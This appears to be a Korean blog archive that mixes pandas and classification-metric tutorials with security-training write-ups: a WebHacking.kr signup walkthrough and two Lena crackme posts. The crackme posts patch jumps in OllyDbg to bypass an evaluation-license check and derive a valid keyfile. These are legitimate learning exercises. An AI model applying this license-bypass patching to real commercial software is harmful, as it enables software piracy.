CENTRAL       25058.0
MISSION       18223.0
TARAVAL       11844.0
INGLESIDE     10235.0
BAYVIEW       10118.0
TENDERLOIN     9901.0
RICHMOND       9891.0
PARK           9146.0
Name: LARCENY/THEFT, dtype: float64

soutern = non_outliers[non_outliers["PdDistrict"] == 'SOUTHERN']
soutern.head()

	Dates	Category	Descript	DayOfWeek	PdDistrict	Resolution	Address	X	Y	Dates-year	Dates-month	Dates-day	Dates-hour	Dates-minute
35	2015-05-13 20:30:00	LARCENY/THEFT	GRAND THEFT FROM LOCKED AUTO	Wednesday	SOUTHERN	NONE	KING ST / 3RD ST	-122.391846	37.778125	2015	5	13	20	30
40	2015-05-13 20:23:00	NON-CRIMINAL	AIDED CASE, MENTAL DISTURBED	Wednesday	SOUTHERN	NONE	700 Block of MARKET ST	-122.405295	37.786307	2015	5	13	20	23
41	2015-05-13 20:15:00	LARCENY/THEFT	PETTY THEFT FROM LOCKED AUTO	Wednesday	SOUTHERN	NONE	1600 Block of MARKET ST	-122.422128	37.773033	2015	5	13	20	15
52	2015-05-13 19:30:00	LARCENY/THEFT	PETTY THEFT FROM A BUILDING	Wednesday	SOUTHERN	NONE	0 Block of 3RD ST	-122.403285	37.787306	2015	5	13	19	30
53	2015-05-13 19:30:00	LARCENY/THEFT	GRAND THEFT FROM UNLOCKED AUTO	Wednesday	SOUTHERN	NONE	500 Block of BRANNAN ST	-122.397616	37.777392	2015	5	13	19	30

fg4, ax4 = plt.subplots(figsize=(10,10))
sns.scatterplot(x="X", y="Y", hue="Category", data=soutern, ax=ax4)

<matplotlib.axes._subplots.AxesSubplot at 0x115195dd8>

참고

seaborn 시각화: https://datascienceschool.net/view-notebook/4c2d5ff1caab4b21a708cc662137bc65/

WebHacking.kr #00

eunguru — Thu, 30 Aug 2018 15:36:49 +0900

WebHacking.kr #00

1. 사이트 접속

WebHacking.kr 사이트에 접속하면 Login 페이지를 볼 수 있음
- 두개의 input , Login 버튼이 존재

회원가입 전이므로 "Register"를 해야하나 페이지에서 Register 버튼이 보이지 않음

2. 회원 가입하기

1) "Register" 버튼 찾기

페이지 소스 보기나 웹 브라우저의 개발자 도구 실행
개발자 도구가 더 편리하므로 개발자 도구 실행
- Chrome 브라우저 기준(':' > 도구더보기 > 개발자 도구)
개발자 도구에서 "select an element in the page to inspect it" 버튼을 클릭하여 Login 버튼 위에 숨겨진 버튼을 클릭
Register 버튼의 소스가 주석처리 되어 있는 것을 알 수 있음

2) 주석 해제

개발자 도구에서 html 코드를 수정하여 주석을 해제
- 페이지에 숨겨진 "Register" 버튼이 출력됨

"Register" 버튼을 클릭

3) 회원가입 정보 입력

ID, PW, EMAIL을 입력
decode me input box에 있는 문자열을 디코딩 하여 입력해야함
- 문자열 끝이 '='로 끝나는 것으로보아 base64 인코딩이 되어 있는 것을 알 수 있음
- base64참조
- 순서대로 base64를 디코딩하면 "211.192.46.165"라는 IP주소를 찾을 수 있음
  - 디코딩은 google에 검색하여 online base64 디코딩 사이트를 이용

디코딩 된 문자열을 입력한 후 submit 버튼을 클릭
입력한 정보가 뜨면서 가입이 된 것을 알 수 있음
- back 버튼을 클릭하여 뒤로 돌아가서 로그인 시도

3. 로그인

초기 페이지로 돌아가 ID, PW를 입력한 후 Login 버튼을 클릭
로그인에 성공함, "enter"버튼을 클릭하여 문제를 풀자! :)

Lena's Reversing for Newbies #02

eunguru — Tue, 28 Aug 2018 02:35:19 +0900

02_Lena

Lena's Reversing for Newbies #02

1. 문제

문제: Keyfiling the reverseme + assembler
파일다운로드

2. 파일실행

#01과 동일 파일
reverseMe.exe를 실행하면 "Evaluation period out of date. Purchase new license" 메시지박스 출력

#01과 다르게 #02에서는 keyfile을 만들어서 "You really did it! Congrats !!!" 메시지박스가 출력되도록 해야함

3. OllyDbg로 어셈블리코드 분석

상세 분석은 #01에서 했으므로 생략

1) Keyfile 생성, CreateFileA 함수를 호출하여 파일 열기

"Evaluation period out of date. Purchase new license" 메시지박스 출력 전 CreateFileA 함수를 호출
- FileName: "Keyfile.dat"
- Mode: OPEN_EXISTING

reverseMe.exe와 동일 경로에 "Keyfile.dat" 파일을 생성(내용은 없는 채로 생성)
CreateFileA 함수 호출 코드에 브레이크 포인트 설정한 후 한 후 CreateFileA 함수 호출까지 실행
CreateFileA 함수 호출 후 리턴값인 EAX 레지스터 값은 -0x1이 아닌 값이므로 성공
- EAX 레지스터 값: 0x00000044
- 리턴값을 비교하는 코드와 비교 결과에 따라 분기하는 코드에 따라 reverseM.0040109A로 분기

2) reverseM.0040109A로 분기, ReadFile 함수를 호출하여 파일 내용 읽기

ReadFile 함수 호출 코드에 브레이크 포인트 설정한 후 한 후 ReadFile 함수 호출까지 실행
ReadFile 함수 호출 후 리턴값인 EAX 레지스터 값은 0이 아닌 값이므로 함수 호출 성공
- EAX 레지스터 값: 0x00000001
- 리턴값을 비교하는 코드와 비교 결과에 따라 분기하는 코드에 따라 reverseM.004010B4로 분기

3) reverseM.004010B4로 분기하여 코드 실행

reverseM.004010B4로 분기하여 어셈블리 코드를 차례대로 실행
EBX, ESI 레지스터를 0으로 초기화(XOR연산: 비트값이 같으면 0, 다르면 1)
- XOR EBX,EBX
- XOR ESI,ESI
CMP DWORD PTR DS:[0x402173],0x10
- DS:[0x402173]가 가리키는 값과 0x10(16(dec))와 비교
JL SHORT reverseM.004010F7
- CMP의 두 오퍼랜드 중 앞 오퍼랜드가 0x10보다 작으면 reverseM.004010F7로 분기
- JL: Jump if Less
DS:[0x402173]: 0x00000000이므로 비교문 결과 reverseM.004010F7로 분기하게 됨
- "Keyfile is not valid. Sorry" 메시지박스가 출력(실패)

DS:[0x402173]는 ReadFile 함수의 PByteRead가 가리키는 값임을 알 수 있음

ReadFile 함수의 pByteRead 파라미터의 의미
- ReadFile함수 msdn 설명
- pByteRead는 lpNumberOfBytesRead 파라미터에 해당
  - 읽어드린 byte 수
1) 에서 생성한 Keyfile.dat은 내용이 없는 빈 파일
- ReadFile함수를 실행 할 때 pByteRead가 가리키는 값은 0이 됨
Keyfile.dat파일 내용 길이(byte)를 유추
- 힌트: CMP DWORD PTR DS:[0x402173],0x10, JL SHORT reverseM.004010F7
- 최소 16 byte 이상
  - JL로 되어 있기 때문
- 최대 70byte 이하
  - ReadFile 함수의 BytesToRead(46(hex, 70(dec))

4) Keyfile.dat에 16byte 이상 내용을 입력 한 후 어셈블리 코드 다시 분석

Keyfile.dat을 열어 16byte 입력 후 저장

004010B8 CMP DWORD PTR DS:[0x402173],0x10부분에 브레이크 포인트를 설정
OllyDbg를 재시작하여 브레이크 포인트까지 코드 실행
reverseM.004010F7로 분기하지 않음

5) 반복문 어셈블리 코드 실행

reverseM.004010F7로 분기하지 않고 코드를 차례대로 실행하면 반복문 어셈블리 코드가 나옴
- 반복문: reverseM.004010C1 ~ reverseM.004010D1
반복문 실행이 끝나고 실행되는 reverseM.004010D3에 브레이크 포인트를 설정하고 브레이크 포인트까지 실행
CMP ESI,0x8, JL SHORT reverseM.004010F7
- ESI 레지스터 값을 0x8과 비교, 비교결과 ESI 레지스터 값이 0x8보다 작아 reverseM.004010F7로 분기 될 예정
  - reverseM.004010F7로 분기 시 "Keyfile is not valid. Sorry" 메시지박스 출력(실패), 프로그램 종료
  - ESI 레지스터 값은 0x8보다 커야함을 알수 있음
- ESI, EBX 레지스터는 3) 에서 XOR연산으로 0x0으로 초기화 이후, 반복문 안에서 INC 연산을 통해 1씩 증가 하고 있음
  - 반복문이 종료된 후 ESI 레지스터 값은 0x0, EBX 레지스터 값은 0x10

JMP reverseM.00401205를 실행하여 reverseM.00401205로 분기되면 원하는 메시지박스가 출력됨
- 메시지박스 내용: "You really did it! Congrats !!!"
반복문 내의 어셈블리 코드 분석이 필요
- 반복문 내 비교문, 분기문의 의미 파악 필요
- ESI 레지스터, EBX 레지스터를 증가하는 INC 연산 코드 실행이 언제되는지 분석 필요
반복문이 시작되는 reverseM.004010C1에 브레이크 포인트를 설정 한 후 OllyDbg 재시작 후 브레이크 포인트까지 실행

6) 반복문 분석

MOV AL,BYTE PTR DS:[EBX+0x40211A]는 AL(1byte) 레지스터에 DS:[EBX+0x40211A] 1byte를 저장
- DS:[EBX+0x40211A]에서 0x40211A는 ReadFile 함수에서 Buffer를 의미함
  - ReadFile 함수에서
- 실제 Hex Dump에서 0x40211A에는 Keyfile.dat에 입력된 내용이 저장되어 있는 것을 알 수 있음
- 반복문 안에서 EBX를 증가, 반복문이 실행 되면서 DS:[EBX+0x40211A]가 가리키는 1byte를 AL을 저장

CMP AL,0x0, JE SHORT reverseM.004010D3
- CMP AL,0x0: 문자열의 끝, '\0'와 같은지 비교
- JE SHORT reverseM.004010D3: 문자열의 끝이면 reverseM.004010D3로 분기(반복문 종료)
  - JE: Jump if Equal
CMP AL,0x47, JNZ SHORT reverseM.004010D0, INC ESI
- CMP AL,0x47
  - AL 레지스터를 0x47('G')과 비교, 0x47는 character로 'G를 의미함'
- JNZ SHORT reverseM.004010D0
  - 비교 결과 0x47('G')과 같지 않으면(Not Zero) reverseM.004010D0로 분기
- INC ESI
  - 비교 결과 0x47('G')과 과 같으면(Zero) ESI 레지스터 값 0x1증가
  - 5)에서 분석했듯이 ESI가 0x8이상이어야함
  - "Keyfile.data"에는 'G'문자가 8byte이상 포함해야 함을 알 수 있음

reverseM.004010D0에는 INC EBX 코드가 있음
- EBX는 ReadFile로 읽어온 문자열 버퍼의 index를 의미
- INC EBX: EBX 레지스터를 0x1 증가하는 것은 다음 문자를 가리키는 것을 의미
JMP SHORT reverseM.004010C1: 반복문의 반복 실행

4. Keyfile.dat 수정

1) Keyfile.dat가 만족해야 하는 조건

Keyfile.dat이 파일 이름
파일 내용이 16byte 이상, 70byte 이하
파일 내용 중 8byte 이상이 'G'이어야 함

2) Keyfile.dat 수정, 저장

3) reverseMe.exe 실행

리버싱 끝 :)

Lena's Reversing for Newbies #01

eunguru — Sun, 26 Aug 2018 23:28:21 +0900

01_Lena

Lena's Reversing for Newbies #01

1. 문제

문제: OllyDbg+Assembler+Patching a basic reverseme
파일다운로드

2. 파일 실행

1) reverseMe.exe 실행

"Evaluation period out of date. Purchase new license" 메시지박스 출력

3. OllyDbg로 어셈블리코드 분석

1) 메시지박스 문자열 검색

2) 메시지박스 출력 전 후 어셈블리코드 분석

1)의 문자열을 마우스 더블클릭하여 CPU창으로 이동
- 메시지박스 출력 후 프로그램 종료(MessageBoxA() -> ExitProcess() 함수 호출)
  - 메시지박스 출력 문자열: "Evaluation period out of date. Purchase new license"
메시지박스 출력 전 CreateFileA() 함수 호출
- CreateFileA() 함수 호출 부분에 브레이크포인트 설정(F2) 후 OllyDbg 재실행(Ctrl+F2, F9)

참고: CreateFileA(): 파일이나 I/O 디바이스를 생성하거나 여는 함수
- CreateFile함수 msdn 설명
- 주요 파라미터
  - FileName: Keyfile.dat
  - Mode: OPEN_EXISTING(파일이 있는 경우 열기)
- 리턴값
  - 성공: 파일, 디바이스, 명명된 파이프, 메일 슬롯의 핸들 값을 리턴
  - 실패: INVALID_HANDLE_VALUE(-1(decimal), FFFFFFFF(hex) )
CreateFileA() 함수 호출 후 리턴값은 EAX 레지스터 값이며, reverseMe.exe 경로에 "Keyfile.dat"파일이 없기때문에 FFFFFFFF 리턴

CMP EAX,-0x1: 리턴값인 EAX 레지스터 값이 -0x1인지 비교
- EAX가 -1이므로 CMP 결과는 0이 됨 -> Z 플래그가 1로 설정된 것을 알 수 있음
JNZ SHORT reverseM.0040109A
- CMP 결과 0(Zero)이므로 분기하지 않고 다음 코드 실행
- JNZ(Jump Not Zero): 0이 아니면 분기
MessageBoxA() 호출: 메시지박스 출력
ExitProcess(): 프로그램 종료

3) Z 플래그를 임의 설정 하여 reverseM.0040109A로 분기(메시지박스 출력 안되도록)

JNZ SHORT reverseM.0040109A에 브레이크 포인트 설정
Z 플래그를 1에서 0으로 변경(마우스 더블클릭하면 변경됨)
reverseM.0040109A로 분기

4) reverseM.0040109A로 분기 후 어셈블리코드 분석

ReadFile() 함수 호출 부분에 브레이크포인트 설정 후 브레이크포인트까지 코드 실행
- ReadFile() 함수 msdn설명
- 참고: ReadFile() 함수: 특정 파일이나 I/O 디바이스로 부터 데이터를 읽는 함수
  - 주요 파라미터
    - nNumberOfBytesToRead: 읽어야 될 최대 바이트
  - 리턴값
    - 성공: 0이 아닌 값(TRUE)
    - 실패: 0(FALSE)
ReadFile() 함수 호출 후 리턴값은 EAX 레지스터 값이며 실패를 나타내는 0값을 리턴
- Z플래그가 1로 설정됨

TEST EAX, EAX: 두 오퍼렌드를 AND 연산함
- EAX가 0이므로 AND 연산 결과도 0
JNZ SHORT reverseM.004010B4
- Jump Not Zero인 경우에만 reverseM.004010B4로 분기하므로 실행되지 않음
JMP SHORT reverseM.004010F7
- reverseM.004010F7로 분기

5) reverseM.004010F7로 분기

reverseM.004010F7로 분기

분기 후 메시지박스 출력 후 프로그램 종료(MessageBoxA() -> ExitProcess())
- 메시지박스 내용: "Keyfile is not valid. Sorry."
- 메시지박스 내용으로 보아 리버싱에 실패했음을 알 수 있음

6) 디버거를 다시 시작하여 ReadFile 함수 호출 어셈블리코드까지 실행

브레이크 포인트 설정

첫 번째 브레이크 포인트까지 코드 진행 후 3)번과 같이 Z플래그 임의 설정하여 reverseM.0040109A로 분기
ReadFile()함수 호출 후 리턴값을 테스트하는 코드 실행, reverseM.00401B0 전 코드까지 진행

reverseM.00401B0 코드 실행 전 Z 플래그를 임의 설정하여 reverseM.00401B4로 분기
- JNZ SHORT reverseM.004010B4: Not Zero이면 reverseM.004010B4으로 분기

7) reverseM.004010B4으로 분기

reverseM.004010B4로 분기하여 코드를 어셈블리코드를 따라 실행
CMP DWORD PTR DS:[0x402173],0x10
- DS:[0x402173]값을 0x10(16(dec))과 비교
- CMP 연산: 앞 오퍼랜드 - 뒤 오퍼랜드
JL SHORT reverseM.004010F7
- CMP의 두 오퍼랜드 중 앞 오퍼랜드가 0x10보다 작으면 reverseM.004010F7로 분기
- JL: Jump if Less
- reverseM.004010F7로 분기하게 되면 5)번의 "Keyfile is not valid. Sorry" 메시지박스가 출력
JL SHORT reverseM.004010F7 코드 실행 전 까지 진행
- S 플래그가 1로 설정됨
  - S 플래그: 연산결과 음수일때 1이 설정됨

8) S 플래그를 0으로 임의설정하여 reverseM.004010F7로 분기하지 않고 다음 어셈블리코드 진행

MOV AL,BYTE PTR DS:[EBX+0x40211A] 코드를 실행할 차례이나 코드 진행 화살표를 보면 화살표가 자기 자신을 가르킴
- 반복 문인 것을 알 수 있음

코드 실행 범위 아래 어셈블리 코드에 브레이크 포인트를 설정 하고 브레이크 포인트까지 코드 진행
CMP ESI,0x8: ESI 레지스터와 0x8과 비교
JL SHORT reverseM.004010F7
- ESI레지스터가 0x8보다 작으면 reverseM.004010F7로 분기
- reverseM.004010F7로 분기하게 되면 5)번의 "Keyfile is not valid. Sorry" 메시지 박스가 출력
JL SHORT reverseM.004010F7 코드 실행 전 까지 진행
- S 플래그가 1로 설정됨
  - S 플래그: 연산결과 음수일때 1이 설정됨
- ESI 레지스터 값은 0
  - ESI 레지스터:데이터를 조작하거나 복사할 때 데이터의 주소가 저장(Source Index)
  - 이전 코드들에서 ESI 레지스터에 영향을 주는 코드
    - 004010B6 . 33F6 XOR ESI,ESI: 초기화(XOR은 값이 같으면 0, 다르면 1)
    - 004010CF . 46 INC ESI: ESI값 1증가

9) S 플래그를 0으로 임의설정하여 reverseM.00401205로 분기

JMP reverseM.00401205: reverseM.00401205로 분기

분기 후 메시지박스 출력 후 프로그램 종료(MessageBoxA() -> ExitProcess())
- 메시지박스 출력 문자열: "You really did it! Congrats !!!"
- 메시지박스 내용으로 보아 리버싱에 성공했음을 알 수 있음

4. 3.9)의 메시지박스가 출력되도록 어셈블리 코드를 패치

여러가지 방법으로 코드를 패치할 수 있으나, 최대한 분석 한 것을 따라 코드를 패치함
플래그를 임의 설정하지 않고 원하는 결과가 나오도록 코드를 패치 하기 위해 OllyDbg 다시 시작(Ctrl+F9)
위의 분석 과정을 통해 브레이크포인트 설정되어 있음

1) 첫번째 브레이크 포인트까지 코드 실행, 패치

첫 번째 브레이크 포인트까지 이동 후 JNZ를 JMP로 코드패치하여 reverseM.0040109A로 분기

reverseM.0040109A로 분기

2) 두번째 브레이크 포인트까지 코드 실행, 패치

reverseM.0040109A로 분기한 후 F8을 눌러 코드를 실행하거나 F9를 눌러 미리 설정한 브레이크 포인트까지 실행해도 됨
JNZ를 JMP로 코드패치하여 reverseM.004010B4로 분기

3) 세번째 브레이크 포인트까지 코드 실행, 패치

브레이크포인트까지 실행하여 JL SHORT reverseM.004010F7을 NOP로 코드패치
- NOP: No Operation, 아무것도 하지 않음

4) 네번째 브레이크 포인트까지 코드 실행, 패치

3)에서와 마찬가지로 JL SHORT reverseM.004010F7를 NOP로 코드 패치
F8을 눌러 다음 코드 실행 전까지 진행

3.9)에서 확인했듯이 JMP reverseM.00401205 코드를 실행하여 reverseM.00401205로 분기하는 경우
원하는 메시지박스가 출력됨

5. 패치한 코드를 반영하여 바이너리 저장

1) 코드패치 리스트

총 4군데의 코드 패치를 수행함

2) 코드패치한 부분 저장

변경한 부분을 마우스 드래그하여 선택 후 마우스 우클릭하여 컨텍스트메뉴에서 Copy to excitable - Selection 메뉴 선택

새로 뜬 창에서 마우스 우클릭하여 컨텍스트메뉴에서 save file 선택

파일명을 "reverseMe_Crack.exe"로 저장

reverseMe_Crack.exe를 실행하면 "You really did it! Congrats !!!" 메시지박스가 출력
코드패치 끝 :)

[Pandas] 기술통계 계산 2

eunguru — Sun, 3 Jun 2018 23:39:38 +0900

pandas_statistics2

기술 통계 계산 2

import pandas as pd
from pandas import Series, DataFrame
import numpy as np
from numpy import nan as NA

1. Series 객체에서 누락된 데이터 골라내기

1) dropna 메서드 이용(대표적인 방법)

dropna 메서드는 series 객체를 반환

s1 = Series([1, NA, 3.4, NA, 8])
s1

0    1.0
1    NaN
2    3.4
3    NaN
4    8.0
dtype: float64

s1.dropna()

0    1.0
2    3.4
4    8.0
dtype: float64

2) boolean 색인을 이용해서 직접 계산 후에 가져오기

s1.notnull()

0     True
1    False
2     True
3    False
4     True
dtype: bool

s1[s1.notnull()]

0    1.0
2    3.4
4    8.0
dtype: float64

2. DataFrame 객체에서 누락된 데이터 골라내기

1) dropna 메서드 이용

dropna는 기본적으로 NA값이 하나라도 있는 row는 제외됨

data = DataFrame([[1,5,5,3],
                [1,NA,NA],
                [NA,NA,NA],
                [NA,3.3,3]])
data

	0	1	2	3
0	1.0	5.0	5.0	3.0
1	1.0	NaN	NaN	NaN
2	NaN	NaN	NaN	NaN
3	NaN	3.3	3.0	NaN

data.dropna()

	0	1	2	3
0	1.0	5.0	5.0	3.0

how='all' 옵셥을 주면 모든값이 NA인 row만 제외(how='any'가 기본값)

data.dropna(how='all')

	0	1	2	3
0	1.0	5.0	5.0	3.0
1	1.0	NaN	NaN	NaN
3	NaN	3.3	3.0	NaN

data[4] = NA
data

	0	1	2	3	4
0	1.0	5.0	5.0	3.0	NaN
1	1.0	NaN	NaN	NaN	NaN
2	NaN	NaN	NaN	NaN	NaN
3	NaN	3.3	3.0	NaN	NaN

how='all' 옵셥과 axis값을 동시에 주면 모든값이 NA인 column만 제외(how='any'가 기본값)

data.dropna(how='all', axis=1)

	0	1	2	3
0	1.0	5.0	5.0	3.0
1	1.0	NaN	NaN	NaN
2	NaN	NaN	NaN	NaN
3	NaN	3.3	3.0	NaN

thresh: 몇개의 value가 들어 있는 행을 가져오고 싶은 경우 사용되는 파라미터

data2 = DataFrame([[1,2,3,NA],
                  [NA,33,11,NA],
                  [11,NA,NA,NA],
                  [43,NA,NA,NA]])
data2

	0	1	2	3
0	1.0	2.0	3.0	NaN
1	NaN	33.0	11.0	NaN
2	11.0	NaN	NaN	NaN
3	43.0	NaN	NaN	NaN

data2.dropna(thresh=2)

	0	1	2	3
0	1.0	2.0	3.0	NaN
1	NaN	33.0	11.0	NaN

3. 누락된 값을 채우기

DataFrame에서는 누락된 데이터를 완벽하게 골라낼 수 없으므로 의도하지 않게 다른 데이터도 함께 버려지게 됨
fillna 메서드를 활용하여 누락된 값을 채우는 것이 유용

data2

	0	1	2	3
0	1.0	2.0	3.0	NaN
1	NaN	33.0	11.0	NaN
2	11.0	NaN	NaN	NaN
3	43.0	NaN	NaN	NaN

1) fillna 메서드 이용

data2.fillna(0)

	0	1	2
0	1.0	2.0	3.0
1	0.0	33.0	11.0
2	11.0	0.0	0.0
3	43.0	0.0	0.0

2) fillna 메서드를 활용하여 각 column마다 다른 값을 채워 넣음: dictionary로 값 지정

data2.fillna({1:10, 3:30})

	0	1	2	3
0	1.0	2.0	3.0	30.0
1	NaN	33.0	11.0	30.0
2	11.0	10.0	NaN	30.0
3	43.0	10.0	NaN	30.0

3) 보간법 이용

data2

	0	1	2	3
0	1.0	2.0	3.0	NaN
1	NaN	33.0	11.0	NaN
2	11.0	NaN	NaN	NaN
3	43.0	NaN	NaN	NaN

data.fillna(method='ffill')

	0	1	2	3	4
0	1.0	5.0	5.0	3.0	NaN
1	1.0	5.0	5.0	3.0	NaN
2	1.0	5.0	5.0	3.0	NaN
3	1.0	3.3	3.0	3.0	NaN

4) 평균값으로 채우기

s2 = Series([1, NA, 3.5, NA, 7])
s2

0    1.0
1    NaN
2    3.5
3    NaN
4    7.0
dtype: float64

s2.fillna(s2.mean())

0    1.000000
1    3.833333
2    3.500000
3    3.833333
4    7.000000
dtype: float64

[Pandas] 기술통계 계산 1

eunguru — Sun, 3 Jun 2018 23:23:40 +0900

pandas_statistics

기술 통계 계산

pandas는 일반적인 수학/통계 메서드를 가지고 있음
pandas의 메서드는 처음부터 누락된 데이터를 제외하도록 설계 됨
전체 row나 column의 값이 NaN이 아니라면 NaN 값은 제외하고 계산

import pandas as pd
from pandas import Series, DataFrame
import numpy as np

df = DataFrame([[1.4, np.nan], [7.1, -4.5], [np.nan, np.nan], [0.75, -1.3]],
               index=['a', 'b', 'c', 'd'],
               columns=['one', 'two'])
df

	one	two
a	1.40	NaN
b	7.10	-4.5
c	NaN	NaN
d	0.75	-1.3

1. sum 메서드

sum()메서드는 각 column값의 합을 더해서 series 객체를 반환

df.sum()

one    9.25
two   -5.80
dtype: float64

sum()메서드에 axis를 주어 각 row 값의 합을 반환

df.sum(axis=1)

a    1.40
b    2.60
c    0.00
d   -0.55
dtype: float64

skipna: 전체 row나 column의 값이 NaN가 아니라도 제외시키지 않을 수 있음 (skipna=False로 지정)
skipna의 기본값은 True

df.sum(axis=1, skipna=False)

a     NaN
b    2.60
c     NaN
d   -0.55
dtype: float64

2. idxmin, idxmax 메서드

최소, 최대값을 가지고 있는 index를 반환(실제로는 통계값을 반환하나, 통계값을 가리키는 간접통계값인 index를 반환)

df

	one	two
a	1.40	NaN
b	7.10	-4.5
c	NaN	NaN
d	0.75	-1.3

df.idxmin()

one    d
two    b
dtype: object

df.idxmax()

one    b
two    d
dtype: object

3. 누산 메서드: cumsum()

df.cumsum()

	one	two
a	1.40	NaN
b	8.50	-4.5
c	NaN	NaN
d	9.25	-5.8

4. Series 객체에서 중복된 값을 제거하는 메서드, 도수 메서드

s1 = Series(['c', 'a', 'd', 'a', 'b', 'b', 'c', 'c'])
s1

0    c
1    a
2    d
3    a
4    b
5    b
6    c
7    c
dtype: object

1) 중복된 값을 제거하는 메서드: unique()

unique()에 의한 결과값은 정렬되지 않은 상태로 반환

unique = s1.unique()
unique

array(['c', 'a', 'd', 'b'], dtype=object)

2) 도수(값의 개수) 메서드: value_counts()

value_counts() 메서드의 반환값은 series 객체, 내림차순으로 정렬됨

s1.value_counts()

c    3
a    2
b    2
d    1
dtype: int64

5. DataFrame 객체에서 중복된 값을 제거하는 메서드

data = DataFrame({'Q1':[1,3,4,3,4],
                 'Q2':[2,3,1,2,3],
                 'Q3':[1,5,2,4,4]})
data

	Q1	Q2	Q3
0	1	2	1
1	3	3	5
2	4	1	2
3	3	2	4
4	4	3	4

res = data.apply(pd.value_counts)
res

	Q1	Q2	Q3
1	1.0	1.0	1.0
2	NaN	2.0	1.0
3	2.0	2.0	NaN
4	2.0	NaN	2.0
5	NaN	NaN	1.0

res1 = data.apply(pd.value_counts).fillna(0)
res1

	Q1	Q2	Q3
1	1.0	1.0	1.0
2	0.0	2.0	1.0
3	2.0	2.0	0.0
4	2.0	0.0	2.0
5	0.0	0.0	1.0

6. Series, DataFrame 객체 내에 값이 있는지 검사하는 메서드: isin()

isin()메서드는 True, Flase를 반환, 값이 있는 곳은 True, 값이 없는 곳은 False
Seires, DataFrame에서 원하는 값을 골라내고 싶을 때 유용하게 사용하는 메서드

s1

0    c
1    a
2    d
3    a
4    b
5    b
6    c
7    c
dtype: object

mask = s1.isin(['b', 'c'])
mask

0     True
1    False
2    False
3    False
4     True
5     True
6     True
7     True
dtype: bool

s1[mask]

0    c
4    b
5    b
6    c
7    c
dtype: object

7. 누락된 데이터 처리

Pandas의 설계 목표 중 하나는 누락된 데이터를 쉽게 처리하는
Pandas에서 누락된 데이터는 어떤 타입이더라도 NaN(Not a Number)로 취급

stringData = Series(['aaa', 'bbbb', np.nan, 'ccccc'])
stringData

0      aaa
1     bbbb
2      NaN
3    ccccc
dtype: object

NaN의 값은 파이썬의 None값 NA(Not Available)와 같은 값으로 취급

stringData.isnull()

0    False
1    False
2     True
3    False
dtype: bool

stringData[0]=None
stringData.isnull()

0     True
1    False
2     True
3    False
dtype: bool

stringData

0     None
1     bbbb
2      NaN
3    ccccc
dtype: object

Confusion matrix, accuracy, f1 score, precision, recall

eunguru — Mon, 28 May 2018 21:24:00 +0900

confusion_matrix

혼동행렬(Confusion Matrix)

Classification 머신러닝 모델이 제대로 작동을 했는지 혼동을 했는지 알아볼 수 있는 행렬
행(row)는 실제 클래스, 열(column)은 예측한 클래스

import seaborn as sns
import pandas as pd
import matplotlib.pyplot as plt
from pandas import DataFrame
%matplotlib inline
sns.set(font_scale=2)

1. Basic confusion matrix

seaborn의 heatmap은 confusion matrix를 시각화 하는 함수
색상이 밝으면 높은 숫자, 색상이 어두우면 낮은 숫자를 나타냄

arr = [[5,0,0,0], # when input was A, prediction was all A
        [0,10,0,0], # when input was B, prediction was all B
        [0,0,15,0], # when input was C, prediction was all C
        [0,0,0,5]]  # when input was D, prediction was all D
df_cm = DataFrame(arr, index=[i for i in "ABCD"],
                 columns= [i for i in "ABCD"])
df_cm

	A	B	C	D
A	5	0	0	0
B	0	10	0	0
C	0	0	15	0
D	0	0	0	5

plt .figure(figsize = (7,5))
plt.title('confusion matrix without confusion')
sns.heatmap(df_cm, annot=True)

<matplotlib.axes._subplots.AxesSubplot at 0x10e6e5da0>

2. Confusion matrix with confusion

1) normalization 하지 않은 confusion matrix

normalization 하지 않은 confusion matrix의 문제점
- test input의 분포를 모르기 때문에 어떤 알파벳에 효율적인지 말할 수 없음

arr2 = [[9,1,0,0],  
        [1,15,3,1],
        [5,0,24,1],
        [0,4,1,15]]
df_cm2 = DataFrame(arr2, index = [i for i in "ABCD"],
                  columns = [i for i in "ABCD"])
df_cm2

	A	B	C	D
A	9	1	0	0
B	1	15	3	1
C	5	0	24	1
D	0	4	1	15

plt.figure(figsize=(7,5))
plt.title('confusion matrix without normalization')
sns.heatmap(df_cm2, annot=True)

<matplotlib.axes._subplots.AxesSubplot at 0x10ea21908>

2) normalization 한 confusion matrix

import numpy as np
from numpy import linalg as LA

total = np.sum(arr2, axis=1)
print(total)

[10 20 30 20]

arr3 = arr2/total[:,None]
arr3

array([[0.9       , 0.1       , 0.        , 0.        ],
       [0.05      , 0.75      , 0.15      , 0.05      ],
       [0.16666667, 0.        , 0.8       , 0.03333333],
       [0.        , 0.2       , 0.05      , 0.75      ]])

df_cm3 = DataFrame(arr3, index = [i for i in "ABCD"],
                  columns = [i for i in "ABCD"])
plt.figure(figsize = (7,5))
plt.title('confusion matrix with normalization')
sns.heatmap(df_cm3, annot=True)

<matplotlib.axes._subplots.AxesSubplot at 0x10eb4bb00>

다중 분류 모델 성능 측정(accuracy, f1 score, precision, recall)

1. 성능 지표(Performance measures)

Accuracy: 가장 많이 사용되는 지표, data가 balance할 때 효과적
F1 score: recall과 precision의 값을 가지고 조합평균(harmonic mean)을 낸 값, data가 imbalance할 때 효과적
- Precision(confusion matrix에서 column 방향)
  - 정밀도, classfier가 예측한 값들 중에서 정말로 예측한 값이 맞는가?
- Recall(confusion matrix에서 row 방향)
  - 재현율, 클래스가 주어졌을 때 classifier가 잘 예측을 하는가?

$\begin{align*} Accuracy &= \frac{TP}{Total dataset \#} \\\\ Recall &= \frac{TP}{(TP+FN) } \\\\ Precision &= \frac{TP}{TP+FP}\\\\ F1 score &=2 * \frac{Precision*Recall}{Precision+Recall} \end{align*}$

1) 개념 정리

TP(true positive): true를 ture로 잘 예측한 것
TN(true negative): false를 false로 잘 예측한 것
FP(false positive): false를 true로 잘 못 예측한 것
FN(false negative): true를 false로 잘 못 예측한 것

2. 예시: Model 1과 Model 2 중 어느 것을 선택해야 하는가?

1) Balanced data

Model 1

arr4 = [[10,0,0,0],
       [0,5,3,2],
       [0,1,8,1],
       [0,1,0,9]]
df_cm4 = DataFrame(arr4, index = [i for i in "ABCD"],
                  columns = [i for i in "ABCD"])
plt.figure(figsize = (7,5))
sns.heatmap(df_cm4, annot=True)

<matplotlib.axes._subplots.AxesSubplot at 0x10eca5da0>

Model 2

arr5 = [[8,2,0,0],
       [1,7,0,2],
       [0,0,9,1],
       [2,3,0,5]]
df_cm5 = DataFrame(arr5, index = [i for i in "ABCD"],
                  columns = [i for i in "ABCD"])
plt.figure(figsize = (7,5))
sns.heatmap(df_cm5, annot=True)

<matplotlib.axes._subplots.AxesSubplot at 0x10edd5860>

